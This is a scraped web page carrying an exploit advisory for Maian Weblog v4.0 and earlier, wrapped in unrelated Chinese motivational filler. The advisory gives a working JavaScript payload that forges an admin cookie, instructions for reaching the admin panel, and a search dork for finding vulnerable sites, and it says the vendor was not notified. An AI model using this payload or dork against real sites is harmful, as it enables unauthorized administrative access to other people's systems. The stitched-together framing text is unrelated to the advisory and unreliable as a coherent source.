Maian Weblog

每个人都会有不幸的时候,不要怨天尤人,也不要幸灾乐祸。只要你足够好,你想要的都会来找你。你学会善待自己,照顾好自己,愿你忠于自己,活得还像自己。心小了,所以小事就变大了;心变大了,所有的大事都变小了。
-[*] ================================================================================ [*]-
-[*] Maian Weblog <= v4.0 Insecure Cookie Handling Vulnerability [*]-
-[*] ================================================================================ [*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by Maian Weblog v4.0



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

Maian Weblog suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

javascript:document.cookie = "weblog_cookie=1; path=/";


[*] NOTE/TIP:

after running the javascript, visit "/admin/index.php" to view admin area.



-[*] ================================================================================ [*]-
-[*] Maian Weblog <= v4.0 Insecure Cookie Handling Vulnerability [*]-
-[*] ================================================================================ [*]-

本文Maian Weblog 到此结束。十年后所有难过都是下酒菜。小编再次感谢大家对我们的支持!

标签: